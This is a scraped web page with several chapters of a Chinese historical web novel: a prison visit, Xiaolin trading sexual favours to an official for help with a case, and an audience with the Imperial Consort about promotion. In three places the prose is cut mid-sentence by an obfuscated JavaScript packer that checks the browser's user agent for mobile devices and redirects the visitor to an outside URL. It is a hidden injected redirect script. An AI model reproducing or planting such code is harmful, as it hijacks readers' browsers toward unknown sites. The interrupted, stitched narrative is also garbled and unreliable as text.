“指望少爷帮义母洗脱污名,大恩铭感五内!” “先去吃饭吧,你们两个下午随我去一趟京兆尹府。" “好嘞!我们去吃饭了!午后在衙门门口等您!”四萬听了就拉着小林往门外走,声音几乎是没掩饰地立马问道:“哎哎哎,小林你告诉我那个金坨坨是做什么用的?” “那个是……铃,用在呃……你还是别问了,那玩意极贵,问了你也买不起。” “哎呀,告诉我嘛,买不起也涨一涨知识!” “等少爷看了说明书,你去问问他。” “别小气,告诉我嘛!” 韦祎在屋里听到了这些对话,转头问罗晏:“那个什么铃,嗯,是什么?” “说明书在盒里,你看看不就知道了?” 韦祎假装自己一点也不好奇地打开了说明书,说明书是娟秀小楷,清清楚楚地写明了用途、用法,末尾注明这一枚是新的,请放心“赏玩”。 把说明书连那个什么铃原样放回盒子里,把盒子放到抽屉里,罗晏还是一脸怪笑。 吃过午饭,到了约定的时间,韦祎换了便服走出衙门。左右望望,果有一玉树临风引人注目之人站在隐蔽处, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有造反的,有行刺的,还有间谍,各个都是铁骨铮铮能干大事儿的人,咬死了不招,把韦祎和审案的一干人等骂得狗血淋头,一晚上不带歇气的,终于声嘶力竭晕过去之后还有下一个钦犯等着呢,一群人不得不在这不见天光的地方一熬熬一夜,眼睛被火把晃得生疼,惨叫听得耳鸣,好不容易搞完了可以休息了,天都亮了。 改做城防军营千总之后就一次也没来过。 时隔多年再次踏足,果然一点也不会觉得和这鬼地方久别重逢,都一样盼着离开的时刻快点到来。 韦祎和小林被单独留在牢房外的拐角处,四下无人,又一次陷入尴尬之中。上一次陷入尴尬是在刚才的马车上,这马车门儿一关,就算是个密闭空间,车又不大,两人若并排坐就要半个身子贴在一起,若是对面坐就得膝盖相抵,四目相对,小林规规矩矩端正坐着,韦祎却几乎要把脑袋伸到车窗外了。 此时也是如此,躲都没处躲,为了显示自己不尴尬,就要没话找话。 二人站在那压低了声音聊天。 “你到了加冠年岁,你们掌柜怎么不帮你说一门亲事?”话一出口,韦祎想吞回去,说什么不好非要说这个,既然已经说了,男子汉大丈夫就得硬着头皮说下去,“以你的模样,该有不少姑娘给媒人求你的庚帖。” “确实如此,但我却是喜欢男人的。”小林当然看出韦祎是没话找话,他可不介意让气氛更尴尬,“怎不见少爷续弦,难不成?” 韦祎装作没听见后半句,“也许可以找寻一位合适的男子?” “我是没爹娘孑然一身,怎样度过一生都无妨,可若是有人与我交好,我也不忍心他从此就断绝子孙受人非议,若是此人有了妻子却还与我交好,那便是不顾妻小的不义之人,都不成,更重要的是,不是什么人都能讨得我喜欢。” 他喜欢的?他喜欢的是什么说法?想了想,“你都生成这个模样了,怎会有人瞧不上你?” “不用少爷担心,”小林摊手道,“千人万人瞧上我,我瞧不上人家那也白瞎。” 10. 沽之哉 吴签刚才被衙役叫走,在那边不知鼓捣些什么,此时气呼呼的走了回来。 “蒋颂官进天牢里来,说什么也要见他那个倒霉儿子,我府里的衙役在那拦着呢,就快拦不住了让我去对付他,韦老弟你先在此稍安勿躁,我去看看能不能把他给怼回去。”说罢,吴签就回头往外走。 “吴兄,小弟同去!”相比和小林单独待在一起,他宁愿去见那位贪官污吏之楷模。 “蒋颂官是怎么进到天牢里来的,吴兄京兆尹的衙役没拦着他?” “我看他是从禁军衙门那边的桥进来的,他小舅娶的是禁军统领的胞姐,两家人关系好着呢。” 四个衙门共用天牢有两大毛病,一是犯人多的时候四家互相抢地盘,二就是想拦着谁不准探监也难,有四个衙门,那就是有四条门路可以走。 这四家里头京兆尹府最受欺负,谁让另外三家都是国家级单位,但是京兆尹府是个州郡单位呢。 隔着老远就能听到蒋颂官和禁军统领一行人在吵嚷呼喝,没等走到近前,这斜刺里又有两个衙役匆匆跑了过来,抓住吴签一顿诉苦,原来是另一个纨绔家里来人非要把孩子接出去,已经在京兆尹府里面大闹起来了,衙役们不敢拦着那种上官,让吴签赶紧过去主持大局。 “韦老弟,这位蒋颂官你先帮我拦着,在京兆尹府里闹起来太难看,我快去快回,就拜托你了啊!” “不成啊,人家都不认识我是谁呢,我一个八竿子打不着的巡街的,怎么拦得住?!”韦祎惊慌,抓着吴签不让他走,压低了声音让吴签留下,那边衙役又拽着吴签的另一条胳膊,两边都使力,吴签被拉成长长的一条。 争执间,只听见蒋颂官的方向传来愤怒的一声:“这不是韦寅那个缩头老王八的龟儿子吗?!你果然是和吴签这群人沆瀣一气!阴险狡诈、两面三刀,枉我儿韬乐把你当挚友看待!你去告诉柳卞那个伪君子,他沽名钓誉的干这么一套事情,迟早害到他自己身上!他不!得!好!死!” “你看,人家认识你,你就帮老哥这个忙吧!”吴签马上抽回胳膊,小跑开溜。 “哎,听我解释,我怎么就变成他挚友了?” 煎熬的两个时辰。 蒋颂官一行人似乎把对柳卞的怒气都撒在了韦祎身上,不歇气地胡搅蛮缠了整整一下午,奈何韦祎坚决不放行,最终以蒋颂官逆气晕倒为结尾。 “可算奏效了!”韦祎其实一直憋着没提醒蒋颂官,这天牢他熟,通风不大好,点火把照明,死气多活气少,若是有人长时间大叫大闹就会因为吸不够活气而头晕、判断力下降。平时这算是个审讯的手段。 蒋颂官原本就没受过苦,身体虚胖,恶劣环境下反应更强烈,直接晕厥过去。 家人们惊慌失措地把蒋颂官给抬走就医。见人都走了,韦祎伸长了腿倒在椅子上半天起不来。 说好的快去快回呢?这吴签忒不地道。 一旁站岗的狱卒把整个过程看在了眼里,见韦祎倒下,十分怜悯地给他盛了一大碗水。喝了水,喉咙没那么痛了,韦祎才慢慢爬起来去找吴签算账。 往回走吧,天牢里转了一圈,吴签没在,小林竟然也没在。 “喂,韬乐啊,你看到吴大人了吗?”韦祎敲了敲蒋韬乐房间的铁窗。 里头没声音,韦祎怕他是自裁了,赶忙打起精神扒着窗户望了望。想来是衙役把里衣还给他了,一抹橘黄橘黄的鲜亮颜色映着地面上的干枯稻草堆,蒋韬乐垂头在那里一副呆滞异常的模样。 “韬乐!韬乐!喂!这是怎么了?你还好吧?” 蒋韬乐听见声音寻觅了半响才把眼睛聚焦到窗口这里,疯了似的扑过来:“子隽!子隽你救我啊!我没杀人!我冤枉!都是那个丑妇人先勾引我的!我是无心的啊!求你帮我告诉吴大人,帮我告诉那妇人的儿子,冤有头债有主,他想报仇就去找狼毫,是他要我掐死那丑妇的,是他埋的尸体!我要翻供!我没杀人!我没杀人!” 一阵语无伦次的嚎叫过后,韦祎的耳鸣更严重了。 “可能我也是吸不足活气,得赶快从天牢出去,到开阔地歇息片刻。”韦祎心想,“狼毫是谁来着?好像是韬乐的书童。”因为这人的名字很特别,韦祎有几分印象。 见韦祎要走,蒋韬乐更是疯狂,伸出手来抓韦祎。 此时蒋韬乐披头散发,脸色苍白嘴唇干裂眼球充血,一双手冰凉凉,又是黑暗处掩映着火光,此情此景吓得韦祎也不顾剧烈运动能不能吸得够活气,拔腿冲上通向大门的那条路。 外头还有太阳呢,没到傍晚,仍然是大天光的,“幸好察觉得早,要是我也在这晕倒了可不妙,”韦祎靠在桥上一边大口喘气一边暗自庆幸。 “听着韬乐那意思,应该是已经被吴签和小林搞定了,倒也不错,不用再来这鬼地方!”把气理顺,韦祎心情大好,走进了京兆尹府的后堂,准备跟吴签寒暄一番,接了小林就开溜,走快点还能赶得上晚上的巡逻。 吴签书房的门大开着,韦祎就直接走进去了,却见书房里头没人,于是四处看看,见书房里头有个挂着纱帘的小门,在最深处,一般书房里的这种小房间是供人办公时换衣裳、小憩用的,“哎?留我在那受苦,这人却回来睡觉?”韦祎便拔脚朝那小门处走去。 刚走两步,耳鸣忽然就停了,听力恢复的同时韦祎马上停止了脚步定在半空。 习武的其中一个好处就是不耳鸣的时候听力非常好,于是韦祎清楚地听见了那扇小门里压抑的靡靡之音,隐约有那种带着嗡嗡回响的铃铛声夹杂在其中。 这铃铛声是怎么回事韦祎上午才看过说明书,不至于现在就忘了。 习武的另一个好处就是脚步轻,停滞片刻,韦祎有点懵的退回了书房的座位上坐着,又立刻觉得不妥,从书房里出去,坐在庭院中的石凳上,吴签的佣人路过,给他倒了杯茶。 震惊的原因不在于吴签竟然在书房里白日搞事情,人家非要有这个情趣韦祎也管不着。令人震惊的是,那隔间里传来的声音分明就是吴签和小林两个人。 没过多长时间,日头西斜,刚刚傍晚,吴签便从书房里出来了,有可能是心理作用,这傍晚的吴签看起来红光满面容光焕发的。 吴签跟跟韦祎寒暄两句,小林神色如常地走了出来,衣衫丝毫不乱。 俗话说,这个,人一旦知道了事情的真相就会认为到处都是破绽。放到韦祎眼里,立刻发现小林的嘴唇嫣红,脚步虚浮,眼神也不太对。 脑袋里装着个巨大的迷惑,韦祎迅速告别吴签,拉着小林出了京兆尹府就走进了附近的一家饭馆,要个有隔断的雅座,随便叫了几个菜然后把门关上。 还没憋出话来,小林先说话了,“少爷您走得这么快做什么?” “你你你……你不挑也不至于和吴签那个……那个秃头胖子搞在一起吧!” “喔!看来是被少爷发现了。”小林左右活动着自己的腰和后背,“那我也先放轻松了,做完那事又被少爷拽了一路,腰都快断了。” “你给我严肃点!你不看看吴签那样子,才三十几岁头发就少得像是旱地种稻子一样!那肚子如同怀胎七月,这就是你喜欢的?” 其实吴签不胖,他在同届官员里算得上是有气质的了,身形挺拔结实、办事勤勉、为人温润随和不至于酸腐。 但韦祎拿要求武将的身材标准要求文官,基本所有文官在他眼里都不合格。 小林一手扶着腰一手拍桌子,乐不可支,一会儿就笑岔气了,伏在桌上“哎呦哎呦”的。 “吴大人虽然算是个青年才俊,但少爷你说我是喜欢他,我喜欢他?除非我失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“就怕说出来打击到少爷,少爷的面子,真的不够用。”小林眼波流转,喝了两口茶之后竟然举起筷子来去挑那桌上的瘦肉吃,倒是和气得吃不下饭的韦祎形成了鲜明对比。“吴大人看的是咱家老爷和柳大人的面子,当然要好好是是的答应您,可这事就算办不成,对韦家和柳家也没什么影响,少爷您也没法子追究他一定把事情办成。我求的不止是蒋氏一族就此落败,我求的是家母沉冤昭雪。” “你也听到吴大人说,这事他本就是要办的,蒋韬乐的罪状越多对他就越有利。” “蒋家的罪状哪里差这一条,人人都知道痛打落水狗,如今凡是和蒋家有过节的纷纷都跳出来要告发,吴大人的案上不知道摞着多少状子呢。我本来怕他真是那不好色的,现在看来结果最好,他有想买的,我有能卖的,难得难得。” 韦祎冷笑道:“人都说行贿最怕那收了钱不办事的,你付了钱,他没给你个字据,不怕这好处白白浪费?” “连这点把握都没有,就不会被人天价买走巴巴的送给少爷了,还没见尝到味儿的不想下一次的呢。”小林那样的瘦,竟然也不挑食,桌上的菜挨个都吃了个遍。“您若是想试试也尽管开口,少爷是恩人,不会跟少爷要好处的。只是今天不成,久未开工,我身上实在难过。” “吃你的饭吧!” 韦祎在那里气呼呼的坐着连筷子都没碰,小林则不歇气地吃掉了两碗饭,把桌上的菜也吃了个七七八八,到结账时,小林自然而然地退后一步,韦祎拿出银子来没有好脸色地付了帐。二人走出酒楼,都忘了要坐马车避人耳目了,一直同路走到韦宅门口。 “你就不怕他日后对你纠缠不休,难不成要重操旧业住到吴家?” “当然不会,吴大人是个明白人,若他纠缠于我,我自然是要请老夫人来给我做主,吴大人的前途可就完了。” “看来你们都是明白人,只我一个糊涂?” “是少爷难得,不必为此伤神,罗公子那样的行家不也能与少爷成为至交好友吗,可见人的好坏并不是以此来分类的。” 说罢小林向韦祎告别,回铺子去了。 11. 宫墙柳 “少爷怎么才回来,吃饭了没?”院子中走来的是花姑姑。 “吃过了,您不用忙。”韦祎随口乱答,话出口才想起自己虽然花了饭钱却腹中空空。 “衙门那大锅煮的东西也算得了饭?吃饭是大事,您可别糊弄。”花姑姑说“今天家里做的是蹄花煲,厨下还有不少呢,您要是饿了就去厨房,面条、炊饼都是现成的。” “好,我记得了,您这是去哪儿?” 花姑姑把手里的大包袱掀开一角给韦祎看,“小少爷前些年做了不少衣裳,有的只穿了一两次,有的连穿都没穿过,现在都穿不上了,老夫人让把这些拿去送给穷苦人家,这还有几件老夫人的旧衣裳,一并拿去,老爷今年有些发福了,衣服裤子都做了新的,旧的都洗洗干净拿去送人。这只是两包,后头还有五包呢,我要走好几趟。” “这么麻烦?该让四萬找个拉菜的车子给一趟送过去。” “不成,上次去送衣裳送到了街道口就给放下了,后来听说是有那流氓赖皮通通都给抢走送到当铺卖钱,这次我们给这衣服分了类,挨户送到家里面才放心,别惹人注意才好,这事儿可没法交给四萬那小子,他没这耐性。” “听您这么一说,我觉得他能和抢衣服的打起来。” 刚告别了花姑姑,想去厨房里寻觅晚餐。刚走了两步,迎面遇上罗晏。“快给我讲讲,你去了京兆尹府这一下午,事情进展的怎么样?” “你怎么知道我去了一下午,说不定我去了半个时辰就回衙门了。” “我可一直在京兆尹府斜对面的茶馆二楼坐着等你呐,好不容易等你出来了,没等我喊你,你就揪着小林进了旁边的酒楼。”罗晏笑得很邪恶,“我本想跟你同去吃饭,但又怕坏了你的好事,就在茶馆里吃了两块点心充饥,一直等到你吃了饭出来,才跟着你回来。” “你莫不是个变态?” “哎,谁是变态可不一定,你晚上明明吃了饭,怎么还往厨房走,是不是没吃饭只顾着做其他事儿了?我可听说啊,那家酒楼的雅座格外私密,隔音特别的好,在里头出个什么声音都不怕外头能听到呢。”罗晏一副奸诈的笑脸说得兴致勃勃,“而且根据我的经验来看,回来这一路上,小林这个步态也有些意思,你可真是不解风情,不知道雇个马车、轿子的,啧啧。” “壹通啊,你可知道我师父会一门绝学,说是把内力用秘法聚集与手指之上,点中男子的气海穴与左右带脉穴,即可使人半年不举。” “师伯会这等功夫?我竟不知,他教给你了没?” “你马上就知道了。” 韦祎使出擒拿手,将罗晏的胳膊抓来夹在肋下,空出一只手来并剑指作势要点他的穴位。罗晏不甘示弱,手腕翻转,拧出手来袭向韦祎面门。 二人你来我往,一路扭打到了院子里,最终以罗晏不慎绊倒,被推进景观池塘为结局。 湿淋淋地从池塘里站起来,罗晏抹掉脸上的水,“有本事你进来打我啊!” “不了,我去吃饭了。” 韦祎这么快走掉也不是就放过罗晏了,而是因为他瞥见家里洗衣的杂工马上要走过转角,看到此间这景象。 “罗公子!哎呀呀这是怎么了啊,唉,您看这乌云滚滚的,眼见着就要下大雨,此时洗了衣裳可怎么晾干啊!” “对不住对不住,我现在就去换了!” 今个儿是罗晏掉水池,明天就变成了韦祎淋大雨。 是有几分敬业精神的,平时大晴天里逃班就逃班了,但是今天暴雨把地面都浇得冒了烟的时候,就是得带头出去巡街。 街上也没什么人,只要赶快把该走的路程走完,好回衙门脱掉这身吸了水的死沉死沉的盔甲。 “千总!有一辆可疑的马车一直跟在我们后面!”负责队尾的周冲跑到韦祎旁边,示意韦祎向后看。 这辆轻便小巧平平无奇的马车一般人不认识,韦祎可熟悉了。隔着厚厚的雨帘,他都能感受到马车的里头传来一道恨铁不成钢的哀怨眼神儿。 依照柳卞的品级,应该坐四匹马拉的马车,他家里确实有一辆。可那种马车又高又宽又笨重,出个门都能把街道给堵死,柳卞曾经不得不重修了柳家的院墙,往里面挪了三尺,才勉强出入自由,马车帷幔多,又是贵重的布料,清洗一次要五六天的时间。 说起来,韦寅也被配发了一辆差不多的马车,但是韦家的小宅子就更没地方放那辆车子了,韦寅直接把它留在了礼夷院的仓库里。 再说了,坐那个马车出门难道是怕全京城不知道你柳卞要出门了吗?除了必须要遵守礼仪的大典时用那辆马车,平时柳卞出门、上班都是坐一辆叶绿色的轻便小车。 他刚过午时就理完了今天的政务,把事情也都安排下去了,但是这大雨下个不停,所以决定在办公室等一等再回家。这一等,立刻马上等来了一批新的政务,做完了这一批,已经到了傍晚了,雨还是没有停的意思,咬咬牙,决定现在就往回走。 唉,遇到了不成器的亲外甥。 越想越来气,自己堂堂二品大员,不说权倾朝野也差不多少,自家妹夫虽然是个蔫坏蔫坏怎么看都令人不爽的性格,却也做到了从二品的高位,柳家三妹还是宫里的贵妃娘娘,怎么说这一家子都是高门大户的豪杰,这外甥怎么能蹲在一个从五品的小武官位置上巡街巡得这么心安理得呢? “给我跟着那个队伍。”柳卞跟车夫说。 “好嘞!”车夫拉住马,把速度降下来,跟着巡逻的队伍跟了三条街。 “无事无事,哪有什么可疑的,我们快走。”韦祎硬着头皮决定不要上前去见礼了,装没看见赶快脚底抹油。 临时改变了巡逻路线,专挑那马车进不去的小巷子往里走,很快就甩掉了身后这位苦大仇深的柳仆射,气得柳卞在马车里吹胡子瞪眼睛。 “还跟吗,老爷?” “回家!” “好嘞,您坐稳!” 事情哪里会这么容易结束? 回家洗了热水澡,换上一套干爽的里衣,把灌了水的靴子扔在一旁,踩上木屐站在房间的门廊下看着院子里的雨帘喝着有些烫口的甜姜汤,才觉得好些了。罗晏从隔壁的屋子走出来,沿着回廊慢慢踱到韦祎这一边,也从罐子里倒出姜汤来喝。 罗晏穿得和韦祎差不多,水衣水裤外披着一件外套,没穿袜子,只散着裤腿,脚上靸着木屐,头发也没束成髻,而是在背后松松地扎了一把。 “你今天也出去淋雨了?” “没有,谁在这暴雨天还出门啊?我今天可睡了一整天。” “你给我把姜汤吐出来!” 夜里暴雨更大,雷声和闪电就没有停过,吵得人睡不着,韦祎把头闷到被子里又太热,结果是翻来覆去了一个晚上,快清晨时才浅眠了片刻。 第二日一早,宫里就派人去各大府邸传了消息,说是暴雨闪电太过,今天的早朝推迟,等到雨停了再补上,各位臣工可以尽量在家办公。 伴随着这道旨意来的还有另一道信笺,是柳贵妃传给姐姐柳不寒的。 “小祎,你好几个月没去探望你姨母了,我给忘了你自己也不记着,等雨停了你就去进宫给她请安吧。”柳不寒看完信,对韦祎说。 果然来了,贵妃的意思可不能违抗,韦祎只好点了头。 下午雨就停了,本想补眠的韦祎被柳不寒赶出家门,换上正装,骑着马往皇宫去了。 柳红酥的本事就在于,柳卞认为妹妹是站在自己这边的,柳不寒也认为妹妹和自己是一伙的,两边都对她十分信任。 递了牌子,没一会儿就被请进后宫了,柳红酥正坐在自己宫里的正厅等他。 “表哥!” “小祎哥来了!" “你们也在啊,今个儿没上课吗?” 门外先是跑进来一个十四五岁的女孩儿,紧跟着一个六七岁的小男孩。 “没有课,今天下雨嘛,师傅也放假啦!” “好不容易没课,怎么不去找宓儿玩,他可念叨着你们呢。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357839|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我们也想去啊,母妃说下雨路滑,不让我们出去,小祎哥帮我跟母妃求求情,我也想我韦宓弟弟了!” “那不是你弟弟,那是你外甥,乱叫什么?我教了你几次了?”柳红酥扶额。 “他只比我小一岁,为何是我外甥?”小男孩不服气,“师傅讲过,外甥和儿子是同辈,宓儿怎么能是我的儿子呢?” “罢了罢了,以后你就知道了,雨都停了你就出宫去玩吧。”柳红酥挥挥手,小男孩飞一般地跑出去了。“攸沅,你与你弟弟同去,看着他点,别让他吃外头摊子上的小吃,夜里闹肚子又要搅得你姨父家不得安寝。” “是,母妃。”女孩儿看起来乖巧多了,行了礼才走出去,不忘了跟韦祎道别。 “沅公主越发端庄了。”等女孩儿出了门,韦祎说。 “她是学会了装样子,见你在呢,她不好意思。”柳红酥对自己的一双儿女却没什么办法,“明明是我生的,怎么个性反而像了你娘亲。” “若是真的处处拘谨岂不是无趣,会装些样子就足够了。” “说起装样子,我听闻你最近连装样子都不装了,上个月你舅母的爹爹过八十五的大寿,你们韦家一个人都没去,就连皇帝都让攸沅代我们去问候了老人家呢。” 韦家总共就四个人,宓儿太小,柳红酥不指望姐姐和姐夫去做这些应酬,也就对韦祎还抱有一点希望。 可这件事是真的没有在韦祎脑子里面过,记住是记不住的,这么远的亲戚都要记住真是太难了。又没人告诉他,即使舅母给家里发过请柬,也都被截在母亲那。 不过反过来,知道有这回事也是不会去,去了他就是“柳卞的亲外甥”,会遭受各种何时续弦、何时升官的“友好”询问。 喝茶吃点心闲话家常半个多时辰,终于进入了正题,“如今正是朝廷的用人之际,皇帝下决心整顿吏治,不少胡作非为的家族都没什么好果子吃,这空出来的位置你舅舅定是要替你筹谋的,你在那稞国的事情是时候翻过一页了。你也别怪你舅舅,他那人责任心太过,把你当亲生的一样看待。” “我知道舅舅是一片苦心,只是我无心仕途,只想自在度日。” “这话可不对,我怎么刚听见人说你暴雨天里还亲自带队巡逻,如此身先士卒的将官朝中可不多。” 贵妃姨母能是听谁说的,还不是舅舅给她传的话? “你从前还向你舅舅抱怨说稞州这些年民不聊生,让你内疚了,你仔细想想,派去稞州的官员和守军能力成不成另说,单是他们乐意去稞州,还不是因为看准了这么一片新领土有利可图?”柳红酥说:“奔着油水去的,百姓能安居乐业才是出了鬼!像你和你爹那样廉洁自律的官儿都无心仕途了,这朝中的风气自然败坏,你们竟然好意思抱怨?” 韦祎垂首默然,心里却想着这绝对是个歪理。 当年就是因为被皇帝和承亲王鼓动得热血沸腾,才能在那食不果腹之地英勇作战,击退了稞国的侵略军之后承亲王决定再挥师南下攻占稞国,韦祎二话不说就奋勇向前。 到了最后,却发现稞国的突然袭击也好,承亲王的那一番动人说辞也好,根本不是那回事。牺牲了多少将士,花费了多少军饷,两国多少百姓流离失所,其实都是权谋之争的一点附属物罢了。 是韦祎把这事儿给搅了,但是搅和了这件事的后果就是承亲王完蛋,稞国完蛋,自己也没得什么好处。 换一件事讲,就在前天,好心想帮一把小林,结果目睹了一场权色交易。 本以为吴签是个九成廉洁的,小林也过了多年的寻常百姓生活,一遇事这两位竟然没半点犹豫的就一个买一个卖。 听韦祎说完,柳红酥长叹一口气。“确实令人反感,吴签那人我听说过的,自打他上任,京城这两三年眼见着安稳了不少,你想想,至少和蒋家比,他算是好的了。” 沉思良久,柳红酥又说:“谁知道呢,也许蒋颂官那些人,年轻时也是从这无伤大雅的小交易上尝到甜头的。” 12. 归庙堂 回到家之后过了几天惴惴不安的日子,自知贵妃姨母已经发了话,这次的升迁无可避免,却又不知道要被派去做些什么事情。 若是还留在京城,回金吾卫是不太可能了,皇帝还没那么稀罕自己,最坏的结果是被提拔到禁军里面去,禁军大头领与蒋颂官是亲戚嘛,到了他的手下一定是比直接被兵部那群老学究管辖更难过。 若是只看眼前,那便是这次出使西域的头领将军,一年多的奔波劳碌免不了,也有可能是被派遣到北方边境军那里去,正好要与燕国开战了,对舅舅来说北方边境军也是个快速建功立业的好地方。 隔日,闷头坐在办公室里面的韦祎迎来了好几拨客人。 罗晏像个孩子王似的,得意洋洋走在最前面,后面则是沅公主一左一右牵着弟弟攸绚和外甥韦宓。韦祎老早就听到他们的说笑声音了,正想开门呢,可是这一行人走到韦祎办公室门口突然安静下来。 “来来来,咱们悄悄看看你们小祎哥在干嘛呢?”罗晏的声音。 “好呀,我们在门边吓小祎哥一大跳好不好?” “还是绚儿鬼主意多,咱们就这么办。” 韦祎把准备开门的手缩了回来,状似无意地走回了办公桌前假装在办公。 没过半柱香的时间,门口就传来了几个孩子的声音,“哎,小祎哥好无趣啊!” “我跟你说,你们表哥总是这么无趣。” “真的吗?工作也太痛苦了吧,你们看他那表情,怪不得我母妃念叨着要让他换个差事!” “原来是这样,每天晚上小祎哥看起来都好累。” 韦祎听得满头问号,这不是宓儿的声音吗,这孩子和攸沅、攸绚一起玩了几天,连爹爹都变成了小祎哥? 罗晏先忍不住喷笑了。 把门推开,几个孩子闹了一小会儿,就把周冲找来,带这几个孩子去参观衙门的校场和武器库。 周冲不认识公主皇子,三个孩子都穿着不甚华贵的布衣裳,他只以为是寻常亲戚,愉快地牵着两个背着一个往后面走了。 “你说他要是知道了他牵的是公主,会不会不洗手了?”等人走远,罗晏跟韦祎打趣。 “他们还没回宫去啊?”韦祎问。 “听说是教课的师傅那天淋了雨,受冻患风寒,在家养病呢,这两个孩子晚上回宫去住,每天一大早就跑来找宓儿玩耍。”罗晏抓紧机会抱怨,“从前只要带一个孩子,现在要带三个,你们家该给我工钱。” “我可提醒你,带宓儿去镜子潭那种地方也就罢了,不想当钦犯你可别带着公主和皇子胡闹。” “镜子潭,怎么办,已经去过了!”像是想起了什么愉快的事情,“好怕呀,你还是金吾卫就好了,如果我被当钦犯抓起来,你去审我的时候肯定会帮我逃出去吧?然后我们两个就去占山为王称霸一方,或者放舟海外,弄一艘大船,三五十帮众,自由自在当个海盗。” “别想了,我一定会抓住机会揍死你的。”韦祎忽然想了起来,“你带着公主去游泳?好大的胆子!不要你的脑袋了?” “你表妹怎么说也十五岁了,再疯的性格也不至于和男人一起脱衣服游泳。” “那就好。”韦祎将信将疑。 “只是在浅滩处踩踩水罢了。” “啊?!” “别担心,我和小沅已经是好朋友了,她不会说出去的,你这公主表妹比你有趣多了,听她贬老一套的经史子集女德女戒那叫一个有理有据滔滔不绝,只可惜生成了公主,如果生在我家就好了。” “小沅?”韦祎继续惊愕,叫这么亲近? 生在皇族的女孩,命不好的会被派遣到千里之外的陌生国家和亲,拖延战争以待时机,除此之外还有一众藩王、附属国等着结亲呢,只有公主不够用的时候没有用不上的时候,常常是只见去不见回,送嫁一别无有归。 “幸亏这次西域小国和亲是要嫁公主过来,不是娶公主,现在宫里只有小沅一个适龄的,西域那地方可别去,风沙太大又缺水,一生只洗三次澡,出生一次,大婚一次,进棺材前第三次,知道他们为什么产香料吗,因为身上臭都要臭死了。” 韦祎瞄了一眼自己腰间佩的香囊,心情有点微妙。今个换了一款西域产的,花纹艳丽,香气馥郁缠绵,韦祎不想用这个,像土老财。四萬却说他在店铺排了半年的号码才轮到这批上等货,一大早跑去取来了,几乎是逼着韦祎挂在腰间。 “早知道就别买这又贵又费劲的东西了。” “别,要买、要买的,要不是你们这些当官的有钱的多买高价货,我们家可怎么混呐?” 等罗晏带着三个孩子离开,讨论着中午要去郊外的农家饭庄吃土炉烤鸡、烤鱼,韦祎发着呆狐疑,“他怎么和宫里混熟了?” 下午的访客是池勤,他骑马带着一叠近期的报告进城来找韦祎汇报。 “营房真挺宽敞啊,一打开门就是水井呢,校场上都铺了地砖啊,你们这同一条街上就有吃的玩的,想做什么岂不是都很方便?”周冲和郑予把他接进来,池勤一边参观一边酸溜溜。 “池大哥,我怎么觉得你都瘦了呢!”郑予拍拍自己的肚子,“我们这没厨师,饭都是直接在隔壁饭庄抬过来的,他们做饭可油腻了,吃得我都有点发胖。” “把你留在那边你也瘦,你要是想减肥不如咱们两个换一换?” “不了不了不了,我就是这么一说,我可搞不定那群二货。” “也不看看你们这池大哥,腰间都换上了红玛瑙坠子了,是来送报告的,还是来请假去接亲的?”韦祎听见声音了,开门来迎。 “对啊,池大哥,里衣都换了绣红花的了,今天初几来着,你的喜事不是在中旬吗,现在就换上衣服了,是不是等不及接新娘子过门了?” 那两人这么一说,立刻围上来一堆相熟的老兵,拉扯着池勤的衣裳去看他里衣上的花纹,池勤好脾气,外衣都被扯下来了也不生气,半是羞半是喜地咧着嘴合不拢。 “看看你这样子,怎么像是你要嫁人?” “还不准池百户喜一喜,他可是把咱们城防军的女神给娶回家了啊!” 跟池勤定亲的是城防军火头大厨的闺女,因为是家里的长女,常能见到她来给爹爹帮忙,凡是军营里头的,无论大小,个个都献着殷勤呢,人家大厨看得紧,眼睛一瞪,谁也不敢靠近,只能远远的馋一馋,却被池勤给占了这个大便宜。 韦祎也在饭堂见过那姑娘一两面,相貌只算是中平,以池勤的家境,与这姑娘结亲是娶低了,他本可以娶个小官家的小姐,既有助益,又要体面多了。 驱散闹哄哄的众人,把池勤给救进办公室里面,池勤才有机会把扯得松散的外衫整平。“你就这么由着他们闹,也不摆出点架子来。” “他们两个还小呢,闹一闹是常事,千总您也别对他们太严厉,都是知道上进的,那么厌烦读书的人,从前夜里还见他们挑灯背兵法呢。” “是吗?我真不知道他们有这等用功。” “这俩人不就住在我隔壁?夜里在那背书,背不住就拳头砸墙,吵得我也甭睡。”池勤笑笑,“砸我这的墙也还成,正好起来查一查那群新兵蛋子有没有放火烧了东林,要是惹烦了另一边隔壁的肖丰,半夜爬起来揍他们。” 韦祎默然,这人脾气可真是够好的。“辛苦了,趁着婚期好好歇一阵子。” “正想跟您提呢,婚事的假······” “早给你报好了,足足一个月,不知我费了多少唾沫。” 跟兵部那些人打交道不易,那群文人一个个都把规矩、体统挂在嘴边,池勤是知道的。 平时婚假给十日便最多,韦祎帮他请了一个月的假,十分够意思。 “谢千总,”池勤正色抱拳,马上察觉自己是不是过于正经了,又立刻笑起来“千总这么够意思,是不是囊中羞涩想让我免了您的贺礼啊?” 韦祎长叹一口气示意池勤一起坐下说。 “我还没机会问你,上次想问时你正埋粪回来,赶 